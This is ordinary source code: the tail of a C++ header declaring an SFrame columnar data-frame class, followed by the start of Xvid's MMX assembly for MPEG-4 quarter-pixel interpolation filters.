* file will be created. Otherwise, all frame
* files will be written to the same location
* as the frame_sidx_file. Must end in
* ".frame_idx"
* \param fail_on_column_names If true, will throw an exception if any column
* names are unique. If false, will
* automatically adjust column names so they are
* unique.
*/
inline void open_for_write(const std::vector<std::string>& column_names,
const std::vector<flex_type_enum>& column_types,
const std::string& frame_sidx_file = "",
size_t nsegments = SFRAME_DEFAULT_NUM_SEGMENTS,
bool fail_on_column_names=true) {
Dlog_func_entry();
ASSERT_MSG(!inited, "Attempting to init an SFrame "
"which has already been inited.");
if (column_names.size() != column_types.size()) {
log_and_throw(std::string("Names and Types array length mismatch"));
}
inited = true;
create_arrays_for_writing(column_names, column_types,
nsegments, frame_sidx_file, fail_on_column_names);
}
/**************************************************************************/
/* */
/* Basic Accessors */
/* */
/**************************************************************************/
/**
* Returns true if the Array is opened for reading.
* i.e. get_reader() will succeed
*/
inline bool is_opened_for_read() const {
return (inited && !writing);
}
/**
* Returns true if the Array is opened for writing.
* i.e. get_output_iterator() will succeed
*/
inline bool is_opened_for_write() const {
return (inited && writing);
}
/**
* Return the index file of the sframe
*/
inline const std::string& get_index_file() const {
ASSERT_TRUE(inited);
return index_file;
}
/**
* Reads the value of a key associated with the sframe
* Returns true on success, false on failure.
*/
inline bool get_metadata(const std::string& key, std::string &val) const {
bool ret;
std::tie(ret, val) = get_metadata(key);
return ret;
}
/**
* Reads the value of a key associated with the sframe
* Returns a pair of (true, value) on success, and (false, empty_string)
* on failure.
*/
inline std::pair<bool, std::string> get_metadata(const std::string& key) const {
ASSERT_MSG(inited, "Invalid SFrame");
if (index_info.metadata.count(key)) {
return std::pair<bool, std::string>(true, index_info.metadata.at(key));
} else {
return std::pair<bool, std::string>(false, "");
}
}
/// Returns the number of columns in the SFrame. Does not throw.
inline size_t num_columns() const {
return index_info.ncolumns;
}
/// Returns the length of each sarray.
inline size_t num_rows() const {
return size();
}
/**
* Returns the number of elements in the sframe. If the sframe was not initialized, returns 0.
*/
inline size_t size() const {
return inited ? index_info.nrows : 0;
}
/**
* Returns the name of the given column. Throws an exception if the
* column id is out of range.
*/
inline std::string column_name(size_t i) const {
if(i >= index_info.column_names.size()) {
log_and_throw("Column index out of range!");
}
return index_info.column_names[i];
}
/**
* Returns the type of the given column. Throws an exception if the
* column id is out of range.
*/
inline flex_type_enum column_type(size_t i) const {
if (writing) {
if(i >= group_writer->get_index_info().columns.size()) {
log_and_throw("Column index out of range!");
}
return (flex_type_enum)
(atoi(group_writer->get_index_info().columns[i].metadata["__type__"].c_str()));
} else {
if(i >= columns.size()) {
log_and_throw("Column index out of range!");
}
return columns[i]->get_type();
}
}
/**
* Returns the type of the given column. Throws an exception if the
* column id is out of range.
* \overload
*/
inline flex_type_enum column_type(const std::string& column_name) const {
return columns[column_index(column_name)]->get_type();
}
/** Returns the column names as a single vector.
*/
inline const std::vector<std::string>& column_names() const {
return index_info.column_names;
}
/** Returns the column types as a single vector.
*/
inline std::vector<flex_type_enum> column_types() const {
std::vector<flex_type_enum> tv(num_columns());
for(size_t i = 0; i < num_columns(); ++i)
tv[i] = column_type(i);
return tv;
}
/**
* Returns true if the sframe contains the given column.
*/
inline bool contains_column(const std::string& column_name) const {
Dlog_func_entry();
auto iter = std::find(index_info.column_names.begin(),
index_info.column_names.end(),
column_name);
return iter != index_info.column_names.end();
}
/**
* Returns the number of segments that this SFrame will be
* written with. Never fails.
*/
inline size_t num_segments() const {
ASSERT_MSG(inited, "Invalid SFrame");
if (writing) {
return group_writer->num_segments();
} else {
if (index_info.ncolumns == 0) return 0;
return columns[0]->num_segments();
}
}
/**
* Return the number of segments in the collection.
* Will throw an exception if the writer is invalid (there is an error
* opening/writing files)
*/
inline size_t segment_length(size_t i) const {
DASSERT_MSG(inited, "Invalid SFrame");
if (index_info.ncolumns == 0) return 0;
else return columns[0]->segment_length(i);
}
/**
* Returns the column index of column_name.
*
* Throws an exception of the column_ does not exist.
*/
inline size_t column_index(const std::string& column_name) const {
auto iter = std::find(index_info.column_names.begin(),
index_info.column_names.end(),
column_name);
if (iter != index_info.column_names.end()) {
return (iter) - index_info.column_names.begin();
} else {
log_and_throw(std::string("Column name " + column_name + " does not exist."));
}
__builtin_unreachable();
}
/**
* Returns the current index info of the array.
*/
inline const sframe_index_file_information get_index_info() const {
return index_info;
}
/**
* Merges another SFrame with the same schema with the current SFrame
* returning a new SFrame.
* Both SFrames can be empty, but cannot be opened for writing.
*/
sframe append(const sframe& other) const;
/**
* Gets an sframe reader object with the segment layout of the first column.
*/
std::unique_ptr<reader_type> get_reader() const;
/**
* Gets an sframe reader object with num_segments number of logical segments.
*/
std::unique_ptr<reader_type> get_reader(size_t num_segments) const;
/**
* Gets an sframe reader object with a custom segment layout. segment_lengths
* must sum up to the same length as the original array.
*/
std::unique_ptr<reader_type> get_reader(const std::vector<size_t>& segment_lengths) const;
/**************************************************************************/
/* */
/* Other SFrame Unique Accessors */
/* */
/**************************************************************************/
/**
* Converts the sframe into a dataframe_t. Will reset iterators before
* and after the operation.
*/
dataframe_t to_dataframe();
/**
* Returns an sarray of the specific column.
*
* Throws an exception if the column does not exist.
*/
std::shared_ptr<sarray<flexible_type> > select_column(size_t column_id) const;
/**
* Returns an sarray of the specific column by name.
*
* Throws an exception if the column does not exist.
*/
std::shared_ptr<sarray<flexible_type> > select_column(const std::string &name) const;
/**
* Returns new sframe containing only the chosen columns in the same order.
* The new sframe is "ephemeral" in that it is not backed by an index
* on disk.
*
* Throws an exception if the column name does not exist.
*/
sframe select_columns(const std::vector<std::string>& names) const;
/**
* Returns a new ephemeral SFrame with the new column added to the end.
* The new sframe is "ephemeral" in that it is not backed by an index
* on disk.
*
* \param sarr_ptr Shared pointer to the SArray
* \param column_name The name to give this column. If empty it will
* be given a default name (X<column index>)
*
*/
sframe add_column(std::shared_ptr<sarray<flexible_type> > sarr_ptr,
const std::string& column_name=std::string("")) const;
/**
* Set the ith column name to name. This can be done when the
* frame is open in either reading or writing mode. Changes are ephemeral,
* and do not affect what is stored on disk.
*/
void set_column_name(size_t column_id, const std::string& name);
/**
* Returns a new ephemeral SFrame with the column removed.
* The new sframe is "ephemeral" in that it is not backed by an index
* on disk.
*
* \param column_id The index of the column to remove.
*
*/
sframe remove_column(size_t column_id) const;
/**
* Returns a new ephemeral SFrame with two columns swapped.
* The new sframe is "ephemeral" in that it is not backed by an index
* on disk.
*
* \param column_1 The index of the first column.
* \param column_2 The index of the second column.
*
*/
sframe swap_columns(size_t column_1, size_t column_2) const;
/**
* Replace the column of the given column name with a new sarray.
* Return the new sframe with old column_name sarray replaced by the new sarray.
*/
sframe replace_column(std::shared_ptr<sarray<flexible_type>> sarr_ptr,
const std::string& column_name) const;
/**************************************************************************/
/* */
/* Writing Functions */
/* */
/**************************************************************************/
// These functions are only valid when the array is opened for writing
/**
* Sets the number of segments in the output.
* Frame must be first opened for writing.
* Once an output iterator has been obtained, the number of segments
* can no longer be changed. Returns true on sucess, false on failure.
*/
bool set_num_segments(size_t numseg);
/**
* Gets an output iterator for the given segment. This can be used to
* write data to the segment, and is currently the only supported way
* to do so.
*
* The iterator is invalid once the segment is closed (See \ref close).
* Accessing the iterator after the writer is destroyed is undefined
* behavior.
*
* Cannot be called until the sframe is open.
*
* Example:
* \code
* // example to write the same vector to 7 rows of segment 1
* // let's say the sframe has 5 columns of type FLEX_TYPE_ENUM::INTEGER
* // and sfw is the sframe.
* auto iter = sfw.get_output_iterator(1);
* std::vector<flexible_type> vals{1,2,3,4,5}
* for(int i = 0; i < 7; ++i) {
* *iter = vals;
* ++iter;
* }
* \endcode
*/
iterator get_output_iterator(size_t segmentid);
/**
* Closes the sframe. close() also implicitly closes all segments. After
* the writer is closed, no segments can be written.
* After the sframe is closed, it becomes read only and can be read
* with the get_reader() function.
*/
void close();
/**
* Flush writes for a particular segment
*/
void flush_write_to_segment(size_t segment);
/**
* Saves a copy of the current sframe as a CSV file.
* Does not modify the current sframe.
*
* \param csv_file target CSV file to save into
* \param writer The CSV writer configuration
*/
void save_as_csv(std::string csv_file,
csv_writer& writer);
/**
* Adds meta data to the frame.
* Frame must be first opened for writing.
*/
bool set_metadata(const std::string& key, std::string val);
/**
* Saves a copy of the current sframe into a different location.
* Does not modify the current sframe.
*/
void save(std::string index_file) const;
/**
* SFrame serializer. oarc must be associated with a directory.
* Saves into a prefix inside the directory.
*/
void save(oarchive& oarc) const;
/**
* SFrame deserializer. iarc must be associated with a directory.
* Loads from the next prefix inside the directory.
*/
void load(iarchive& iarc);
bool delete_files_on_destruction();
/**
* Internal API.
* Used to obtain the internal writer object.
*/
inline
std::shared_ptr<sarray_group_format_writer<flexible_type> >
get_internal_writer() {
return group_writer;
}
private:
/**
* Clears all internal structures. Used by \ref create_arrays_for_reading
* and \ref create_arrays_for_writing to clear all the index information
* and column information
*/
void reset();
/**
* Internal function that actually writes the values to each SArray's
* output iterator. Used by the sframe_output_iterator.
*/
void write(size_t segmentid, const std::vector<flexible_type>& t);
/**
* Internal function that actually writes the values to each SArray's
* output iterator. Used by the sframe_output_iterator.
*/
void write(size_t segmentid, std::vector<flexible_type>&& t);
/**
* Internal function that actually writes the values to each SArray's
* output iterator. Used by the sframe_output_iterator.
*/
void write(size_t segmentid, const sframe_rows& t);
/**
* Internal function. Given the index_information, this function
* initializes each of the sarrays for reading; filling up
* the columns array
*/
void create_arrays_for_reading(sframe_index_file_information frame_index_info);
/**
* Internal function. Given a collection of sarray columns, this function
* makes an sframe representing the combination of all the columns. This
* sframe does not have an index file (it is ephemeral), and get_index_file
* will return an empty file. Will throw an exception if column_names are not
* unique and fail_on_column_names is true.
*/
void create_arrays_for_reading(
const std::vector<std::shared_ptr<sarray<flexible_type> > > &columns,
const std::vector<std::string>& column_names = {},
bool fail_on_column_names=true);
/**
* Internal function. Given the index_file, this function initializes each of
* the sarrays for writing; filling up the columns array. Will throw an
* exception if column_names are not unique and fail_on_column_names is true.
*/
void create_arrays_for_writing(const std::vector<std::string>& column_names,
const std::vector<flex_type_enum>& column_types,
size_t nsegments,
const std::string& frame_sidx_file,
bool fail_on_column_names);
void keep_array_file_ref();
/**
* Internal function. Resolve conflicts in column names.
*/
std::string generate_valid_column_name(const std::string &column_name) const;
sframe_index_file_information index_info;
std::string index_file;
std::vector<std::shared_ptr<fileio::file_ownership_handle> > index_file_handle;
std::vector<std::shared_ptr<sarray<flexible_type> > > columns;
std::shared_ptr<sarray_group_format_writer<flexible_type> > group_writer;
mutex lock;
bool inited = false;
bool writing = false;
friend class sframe_reader;
public:
/**
* For debug purpose, print the information about the sframe.
*/
void debug_print();
};
/// \}
} // end of namespace
#endif
#include <sframe/sframe_reader.hpp>
|
;/*****************************************************************************
; *
; * XVID MPEG-4 VIDEO CODEC
; * - Quarter-pixel interpolation -
; * Copyright(C) 2002 Pascal Massimino <skal@planet-d.net>
; *
; * This file is part of Xvid, a free MPEG-4 video encoder/decoder
; *
; * Xvid is free software; you can redistribute it and/or modify it
; * under the terms of the GNU General Public License as published by
; * the Free Software Foundation; either version 2 of the License, or
; * (at your option) any later version.
; *
; * This program is distributed in the hope that it will be useful,
; * but WITHOUT ANY WARRANTY; without even the implied warranty of
; * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; * GNU General Public License for more details.
; *
; * You should have received a copy of the GNU General Public License
; * along with this program; if not, write to the Free Software
; * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
; *
; * $Id: qpel_mmx.asm,v 1.13 2010-11-28 15:18:21 Isibaar Exp $
; *
; *************************************************************************/
;/**************************************************************************
; *
; * History:
; *
; * 22.10.2002 initial coding. unoptimized 'proof of concept',
; * just to heft the qpel filtering. - Skal -
; *
; *************************************************************************/
%define USE_TABLES ; in order to use xvid_FIR_x_x_x_x tables
; instead of xvid_Expand_mmx...
%include "nasm.inc"
;//////////////////////////////////////////////////////////////////////
;// Declarations
;// all signatures are:
;// void XXX(uint8_t *dst, const uint8_t *src,
;// int32_t length, int32_t stride, int32_t rounding)
;//////////////////////////////////////////////////////////////////////
cglobal xvid_H_Pass_16_mmx
cglobal xvid_H_Pass_Avrg_16_mmx
cglobal xvid_H_Pass_Avrg_Up_16_mmx
cglobal xvid_V_Pass_16_mmx
cglobal xvid_V_Pass_Avrg_16_mmx
cglobal xvid_V_Pass_Avrg_Up_16_mmx
cglobal xvid_H_Pass_8_mmx
cglobal xvid_H_Pass_Avrg_8_mmx
cglobal xvid_H_Pass_Avrg_Up_8_mmx
cglobal xvid_V_Pass_8_mmx
cglobal xvid_V_Pass_Avrg_8_mmx
cglobal xvid_V_Pass_Avrg_Up_8_mmx
cglobal xvid_H_Pass_Add_16_mmx
cglobal xvid_H_Pass_Avrg_Add_16_mmx
cglobal xvid_H_Pass_Avrg_Up_Add_16_mmx
cglobal xvid_V_Pass_Add_16_mmx
cglobal xvid_V_Pass_Avrg_Add_16_mmx
cglobal xvid_V_Pass_Avrg_Up_Add_16_mmx
cglobal xvid_H_Pass_8_Add_mmx
cglobal xvid_H_Pass_Avrg_8_Add_mmx
cglobal xvid_H_Pass_Avrg_Up_8_Add_mmx
cglobal xvid_V_Pass_8_Add_mmx
cglobal xvid_V_Pass_Avrg_8_Add_mmx
cglobal xvid_V_Pass_Avrg_Up_8_Add_mmx
cglobal xvid_Expand_mmx
cglobal xvid_FIR_1_0_0_0
cglobal xvid_FIR_3_1_0_0
cglobal xvid_FIR_6_3_1_0
cglobal xvid_FIR_14_3_2_1
cglobal xvid_FIR_20_6_3_1
cglobal xvid_FIR_20_20_6_3
cglobal xvid_FIR_23_19_6_3
cglobal xvid_FIR_7_20_20_6
cglobal xvid_FIR_6_20_20_6
cglobal xvid_FIR_6_20_20_7
cglobal xvid_FIR_3_6_20_20
cglobal xvid_FIR_3_6_19_23
cglobal xvid_FIR_1_3_6_20
cglobal xvid_FIR_1_2_3_14
cglobal xvid_FIR_0_1_3_6
cglobal xvid_FIR_0_0_1_3
cglobal xvid_FIR_0_0_0_1
SECTION .data align=SECTION_ALIGN
align SECTION_ALIGN
xvid_Expand_mmx:
times 256*4 dw 0 ; uint16_t xvid_Expand_mmx[256][4]
ENDFUNC
xvid_FIR_1_0_0_0:
times 256*4 dw 0
ENDFUNC
xvid_FIR_3_1_0_0:
times 256*4 dw 0
ENDFUNC
xvid_FIR_6_3_1_0:
times 256*4 dw 0
ENDFUNC
xvid_FIR_14_3_2_1:
times 256*4 dw 0
ENDFUNC
xvid_FIR_20_6_3_1:
times 256*4 dw 0
ENDFUNC
xvid_FIR_20_20_6_3:
times 256*4 dw 0
ENDFUNC
xvid_FIR_23_19_6_3:
times 256*4 dw 0
ENDFUNC
xvid_FIR_7_20_20_6:
times 256*4 dw 0
ENDFUNC
xvid_FIR_6_20_20_6:
times 256*4 dw 0
ENDFUNC
xvid_FIR_6_20_20_7:
times 256*4 dw 0
ENDFUNC
xvid_FIR_3_6_20_20:
times 256*4 dw 0
ENDFUNC
xvid_FIR_3_6_19_23:
times 256*4 dw 0
ENDFUNC
xvid_FIR_1_3_6_20:
times 256*4 dw 0
ENDFUNC
xvid_FIR_1_2_3_14:
times 256*4 dw 0
ENDFUNC
xvid_FIR_0_1_3_6:
times 256*4 dw 0
ENDFUNC
xvid_FIR_0_0_1_3:
times 256*4 dw 0
ENDFUNC
xvid_FIR_0_0_0_1:
times 256*4 dw 0
ENDFUNC
;//////////////////////////////////////////////////////////////////////
DATA
align SECTION_ALIGN
Rounder1_MMX:
times 4 dw 1
Rounder0_MMX:
times 4 dw 0
align SECTION_ALIGN
Rounder_QP_MMX:
times 4 dw 16
times 4 dw 15
%ifndef USE_TABLES
align SECTION_ALIGN
; H-Pass table shared by 16x? and 8x? filters
FIR_R0: dw 14, -3, 2, -1
align SECTION_ALIGN
FIR_R1: dw 23, 19, -6, 3, -1, 0, 0, 0
FIR_R2: dw -7, 20, 20, -6, 3, -1, 0, 0
FIR_R3: dw 3, -6, 20, 20, -6, 3, -1, 0
FIR_R4: dw -1, 3, -6, 20, 20, -6, 3, -1
FIR_R5: dw 0, -1, 3, -6, 20, 20, -6, 3, -1, 0, 0, 0
align SECTION_ALIGN
FIR_R6: dw 0, 0, -1, 3, -6, 20, 20, -6, 3, -1, 0, 0
align SECTION_ALIGN
FIR_R7: dw 0, 0, 0, -1, 3, -6, 20, 20, -6, 3, -1, 0
align SECTION_ALIGN
FIR_R8: dw -1, 3, -6, 20, 20, -6, 3, -1
FIR_R9: dw 0, -1, 3, -6, 20, 20, -6, 3, -1, 0, 0, 0
align SECTION_ALIGN
FIR_R10: dw 0, 0, -1, 3, -6, 20, 20, -6, 3, -1, 0, 0
align SECTION_ALIGN
FIR_R11: dw 0, 0, 0, -1, 3, -6, 20, 20, -6, 3, -1, 0
align SECTION_ALIGN
FIR_R12: dw -1, 3, -6, 20, 20, -6, 3, -1
FIR_R13: dw 0, -1, 3, -6, 20, 20, -6, 3
FIR_R14: dw 0, 0, -1, 3, -6, 20, 20, -7
FIR_R15: dw 0, 0, 0, -1, 3, -6, 19, 23
FIR_R16: dw -1, 2, -3, 14
%endif ; !USE_TABLES
; V-Pass taps
align SECTION_ALIGN
FIR_Cm7: times 4 dw -7
FIR_Cm6: times 4 dw -6
FIR_Cm3: times 4 dw -3
FIR_Cm1: times 4 dw -1
FIR_C2: times 4 dw 2
FIR_C3: times 4 dw 3
FIR_C14: times 4 dw 14
FIR_C19: times 4 dw 19
FIR_C20: times 4 dw 20
FIR_C23: times 4 dw 23
TEXT
;//////////////////////////////////////////////////////////////////////
;// Here we go with the Q-Pel mess.
;// For horizontal passes, we process 4 *output* pixel in parallel
;// For vertical ones, we process 4 *input* pixel in parallel.
;//////////////////////////////////////////////////////////////////////
%ifdef ARCH_IS_X86_64
%macro XVID_MOVQ 3
lea r9, [%2]
movq %1, [r9 + %3]
%endmacro
%macro XVID_PADDW 3
lea r9, [%2]
paddw %1, [r9 + %3]
%endmacro
%define SRC_PTR prm2
%define DST_PTR prm1
%else
%macro XVID_MOVQ 3
movq %1, [%2 + %3]
%endmacro
%macro XVID_PADDW 3
paddw %1, [%2 + %3]
%endmacro
%define SRC_PTR _ESI
%define DST_PTR _EDI
%endif
%macro PROLOG_NO_AVRG 0
mov TMP0, prm3 ; Size
mov TMP1, prm4 ; BpS
mov eax, prm5d ; Rnd
%ifndef ARCH_IS_X86_64
push SRC_PTR
push DST_PTR
%endif
push _EBP
mov _EBP, TMP1
%ifndef ARCH_IS_X86_64
mov DST_PTR, [_ESP+16 + 0*4] ; Dst
mov SRC_PTR, [_ESP+16 + 1*4] ; Src
%endif
and _EAX, 1
lea TMP1, [Rounder_QP_MMX]
movq mm7, [TMP1+_EAX*8] ; rounder
%endmacro
%macro EPILOG_NO_AVRG 0
pop _EBP
%ifndef ARCH_IS_X86_64
pop DST_PTR
pop SRC_PTR
%endif
ret
%endmacro
%macro PROLOG_AVRG 0
mov TMP0, prm3 ; Size
mov TMP1, prm4 ; BpS
mov eax, prm5d ; Rnd
push _EBX
push _EBP
%ifndef ARCH_IS_X86_64
push SRC_PTR
push DST_PTR
%endif
mov _EBP, TMP1
%ifndef ARCH_IS_X86_64
mov DST_PTR, [_ESP+20 + 0*4] ; Dst
mov SRC_PTR, [_ESP+20 + 1*4] ; Src
%endif
and _EAX, 1
lea TMP1, [Rounder_QP_MMX]
movq mm7, [TMP1+_EAX*8] ; rounder
lea TMP1, [Rounder1_MMX]
lea _EBX, [TMP1+_EAX*8] ; *Rounder2
%endmacro
%macro EPILOG_AVRG 0
%ifndef ARCH_IS_X86_64
pop DST_PTR
pop SRC_PTR
%endif
pop _EBP
pop _EBX
ret
%endmacro
;//////////////////////////////////////////////////////////////////////
;//
;// All horizontal passes
;//
;//////////////////////////////////////////////////////////////////////
; macros for USE_TABLES
%macro TLOAD 2 ; %1,%2: src pixels
movzx _EAX, byte [SRC_PTR+%1]
movzx TMP1, byte [SRC_PTR+%2]
XVID_MOVQ mm0, xvid_FIR_14_3_2_1, _EAX*8
XVID_MOVQ mm3, xvid_FIR_1_2_3_14, TMP1*8
paddw mm0, mm7
paddw mm3, mm7
%endmacro
%macro TACCUM2 5 ;%1:src pixel/%2-%3:Taps tables/ %4-%5:dst regs
movzx _EAX, byte [SRC_PTR+%1]
XVID_PADDW %4, %2, _EAX*8
XVID_PADDW %5, %3, _EAX*8
%endmacro
%macro TACCUM3 7 ;%1:src pixel/%2-%4:Taps tables/%5-%7:dst regs
movzx _EAX, byte [SRC_PTR+%1]
XVID_PADDW %5, %2, _EAX*8
XVID_PADDW %6, %3, _EAX*8
XVID_PADDW %7, %4, _EAX*8
%endmacro
;//////////////////////////////////////////////////////////////////////
; macros without USE_TABLES
%macro LOAD 2 ; %1,%2: src pixels
movzx _EAX, byte [SRC_PTR+%1]
movzx TMP1, byte [SRC_PTR+%2]
XVID_MOVQ mm0, xvid_Expand_mmx, _EAX*8
XVID_MOVQ mm3, xvid_Expand_mmx, TMP1*8
pmullw mm0, [FIR_R0 ]
pmullw mm3, [FIR_R16]
paddw mm0, mm7
paddw mm3, mm7
%endmacro
%macro ACCUM2 4 ;src pixel/Taps/dst regs #1-#2
movzx _EAX, byte [SRC_PTR+%1]
XVID_MOVQ mm4, xvid_Expand_mmx, _EAX*8
movq mm5, mm4
pmullw mm4, [%2]
pmullw mm5, [%2+8]
paddw %3, mm4
paddw %4, mm5
%endmacro
%macro ACCUM3 5 ;src pixel/Taps/dst regs #1-#2-#3
movzx _EAX, byte [SRC_PTR+%1]
XVID_MOVQ mm4, xvid_Expand_mmx, _EAX*8
movq mm5, mm4
movq mm6, mm5
pmullw mm4, [%2 ]
pmullw mm5, [%2+ 8]
pmullw mm6, [%2+16]
paddw %3, mm4
paddw %4, mm5
paddw %5, mm6
%endmacro
;//////////////////////////////////////////////////////////////////////
%macro MIX 3 ; %1:reg, %2:src, %3:rounder
pxor mm6, mm6
movq mm4, [%2]
movq mm1, %1
movq mm5, mm4
punpcklbw %1, mm6
punpcklbw mm4, mm6
punpckhbw mm1, mm6
punpckhbw mm5, mm6
movq mm6, [%3] ; rounder #2
paddusw %1, mm4
paddusw mm1, mm5
paddusw %1, mm6
paddusw mm1, mm6
psrlw %1, 1
psrlw mm1, 1
packuswb %1, mm1
%endmacro
;//////////////////////////////////////////////////////////////////////
%macro H_PASS_16 2 ; %1:src-op (0=NONE,1=AVRG,2=AVRG-UP), %2:dst-op (NONE/AVRG)
%if (%2==0) && (%1==0)
PROLOG_NO_AVRG
%else
PROLOG_AVRG
%endif
.Loop:
; mm0..mm3 serves as a 4x4 delay line
%ifndef USE_TABLES
LOAD 0, 16 ; special case for 1rst/last pixel
movq mm1, mm7
movq mm2, mm7
ACCUM2 1, FIR_R1, mm0, mm1
ACCUM2 2, FIR_R2, mm0, mm1
ACCUM2 3, FIR_R3, mm0, mm1
ACCUM2 4, FIR_R4, mm0, mm1
ACCUM3 5, FIR_R5, mm0, mm1, mm2
ACCUM3 6, FIR_R6, mm0, mm1, mm2
ACCUM3 7, FIR_R7, mm0, mm1, mm2
ACCUM2 8, FIR_R8, mm1, mm2
ACCUM3 9, FIR_R9, mm1, mm2, mm3
ACCUM3 10, FIR_R10,mm1, mm2, mm3
ACCUM3 11, FIR_R11,mm1, mm2, mm3
ACCUM2 12, FIR_R12, mm2, mm3
ACCUM2 13, FIR_R13, mm2, mm3
ACCUM2 14, FIR_R14, mm2, mm3
ACCUM2 15, FIR_R15, mm2, mm3
%else
TLOAD 0, 16 ; special case for 1rst/last pixel
movq mm1, mm7
movq mm2, mm7
TACCUM2 1, xvid_FIR_23_19_6_3, xvid_FIR_1_0_0_0 , mm0, mm1
TACCUM2 2, xvid_FIR_7_20_20_6, xvid_FIR_3_1_0_0 , mm0, mm1
TACCUM2 3, xvid_FIR_3_6_20_20, xvid_FIR_6_3_1_0 , mm0, mm1
TACCUM2 4, xvid_FIR_1_3_6_20 , xvid_FIR_20_6_3_1, mm0, mm1
TACCUM3 5, xvid_FIR_0_1_3_6 , xvid_FIR_20_20_6_3, xvid_FIR_1_0_0_0 , mm0, mm1, mm2
TACCUM3 6, xvid_FIR_0_0_1_3 , xvid_FIR_6_20_20_6, xvid_FIR_3_1_0_0 , mm0, mm1, mm2
TACCUM3 7, xvid_FIR_0_0_0_1 , xvid_FIR_3_6_20_20, xvid_FIR_6_3_1_0 , mm0, mm1, mm2
TACCUM2 8, xvid_FIR_1_3_6_20 , xvid_FIR_20_6_3_1 , mm1, mm2
TACCUM3 9, xvid_FIR_0_1_3_6 , xvid_FIR_20_20_6_3, xvid_FIR_1_0_0_0, mm1, mm2, mm3
TACCUM3 10, xvid_FIR_0_0_1_3 , xvid_FIR_6_20_20_6, xvid_FIR_3_1_0_0, mm1, mm2, mm3
TACCUM3 11, xvid_FIR_0_0_0_1 , xvid_FIR_3_6_20_20, xvid_FIR_6_3_1_0, mm1, mm2, mm3
TACCUM2 12, xvid_FIR_1_3_6_20, xvid_FIR_20_6_3_1 , mm2, mm3
TACCUM2 13, xvid_FIR_0_1_3_6 , xvid_FIR_20_20_6_3, mm2, mm3
TACCUM2 14, xvid_FIR_0_0_1_3 , xvid_FIR_6_20_20_7, mm2, mm3
TACCUM2 15, xvid_FIR_0_0_0_1 , xvid_FIR_3_6_19_23, mm2, mm3
%endif
psraw mm0, 5
psraw mm1, 5
psraw mm2, 5
psraw mm3, 5
packuswb mm0, mm1
packuswb mm2, mm3
%if (%1==1)
MIX mm0, SRC_PTR, _EBX
%elif (%1==2)
MIX mm0, SRC_PTR+1, _EBX
%endif
%if (%2==1)
MIX mm0, DST_PTR, Rounder1_MMX
%endif
%if (%1==1)
MIX mm2, SRC_PTR+8, _EBX
%elif (%1==2)
MIX mm2, SRC_PTR+9, _EBX
%endif
%if (%2==1)
MIX mm2, DST_PTR+8, Rounder1_MMX
%endif
lea SRC_PTR, [SRC_PTR+_EBP]
movq [DST_PTR+0], mm0
movq [DST_PTR+8], mm2
add DST_PTR, _EBP
dec TMP0
jg .Loop
%if (%2==0) && (%1==0)
EPILOG_NO_AVRG
%else
EPILOG_AVRG
%endif
%endmacro
;//////////////////////////////////////////////////////////////////////
%macro H_PASS_8 2 ; %1:src-op (0=NONE,1=AVRG,2=AVRG-UP), %2:dst-op (NONE/AVRG)
%if (%2==0) && (%1==0)
PROLOG_NO_AVRG
%else
PROLOG_AVRG
%endif
.Loop:
; mm0..mm3 serves as a 4x4 delay line
%ifndef USE_TABLES
LOAD 0, 8 ; special case for 1rst/last pixel
ACCUM2 1, FIR_R1, mm0, mm3
ACCUM2 2, FIR_R2, mm0, mm3
ACCUM2 3, FIR_R3, mm0, mm3
ACCUM2 4, FIR_R4, mm0, mm3
ACCUM2 5, FIR_R13, mm0, mm3
ACCUM2 6, FIR_R14, mm0, mm3
ACCUM2 7, FIR_R15, mm0, mm3
%else
%if 0 ; test with no unrolling
TLOAD 0, 8 ; special case for 1rst/last pixel
TACCUM2 1, xvid_FIR_23_19_6_3, xvid_FIR_1_0_0_0 , mm0, mm3
TACCUM2 2, xvid_FIR_7_20_20_6, xvid_FIR_3_1_0_0 , mm0, mm3
TACCUM2 3, xvid_FIR_3_6_20_20, xvid_FIR_6_3_1_0 , mm0, mm3
TACCUM2 4, xvid_FIR_1_3_6_20 , xvid_FIR_20_6_3_1 , mm0, mm3
TACCUM2 5, xvid_FIR_0_1_3_6 , xvid_FIR_20_20_6_3, mm0, mm3
TACCUM2 6, xvid_FIR_0_0_1_3 , xvid_FIR_6_20_20_7, mm0, mm3
TACCUM2 7, xvid_FIR_0_0_0_1 , xvid_FIR_3_6_19_23, mm0, mm3
%else ; test with unrolling (little faster, but not much)
movzx _EAX, byte [SRC_PTR]
movzx TMP1, byte [SRC_PTR+8]
XVID_MOVQ mm0, xvid_FIR_14_3_2_1, _EAX*8
movzx _EAX, byte [SRC_PTR+1]
XVID_MOVQ mm3, xvid_FIR_1_2_3_14, TMP1*8
paddw mm0, mm7
paddw mm3, mm7
movzx TMP1, byte [SRC_PTR+2]
XVID_PADDW mm0, xvid_FIR_23_19_6_3, _EAX*8
XVID_PADDW mm3, xvid_FIR_1_0_0_0, _EAX*8
movzx _EAX, byte [SRC_PTR+3]
XVID_PADDW mm0, xvid_FIR_7_20_20_6, TMP1*8
XVID_PADDW mm3, xvid_FIR_3_1_0_0, TMP1*8
movzx TMP1, byte [SRC_PTR+4]
XVID_PADDW mm0, xvid_FIR_3_6_20_20, _EAX*8
XVID_PADDW mm3, xvid_FIR_6_3_1_0, _EAX*8
movzx _EAX, byte [SRC_PTR+5]
XVID_PADDW mm0, xvid_FIR_1_3_6_20, TMP1*8
XVID_PADDW mm3, xvid_FIR_20_6_3_1, TMP1*8
movzx TMP1, byte [SRC_PTR+6]
XVID_PADDW mm0, xvid_FIR_0_1_3_6, _EAX*8
XVID_PADDW mm3, xvid_FIR_20_20_6_3, _EAX*8
movzx _EAX, byte [SRC_PTR+7]
XVID_PADDW mm0, xvid_FIR_0_0_1_3, TMP1*8
XVID_PADDW mm3, xvid_FIR_6_20_20_7, TMP1*8
XVID_PADDW mm0, xvid_FIR_0_0_0_1, _EAX*8
XVID_PADDW mm3, xvid_FIR_3_6_19_23, _EAX*8
%endif
%endif ; !USE_TABLES
psraw mm0, 5
psraw mm3, 5
packuswb mm0, mm3
%if (%1==1)
MIX mm0, SRC_PTR, _EBX
%elif (%1==2)
MIX mm0, SRC_PTR+1, _EBX
%endif
%if (%2==1)
MIX mm0, DST_PTR, Rounder1_MMX
%endif
movq [DST_PTR], mm0
add DST_PTR, _EBP
add SRC_PTR, _EBP
dec TMP0
jg .Loop
%if (%2==0) && (%1==0)
EPILOG_NO_AVRG
%else
EPILOG_AVRG
%endif
%endmacro
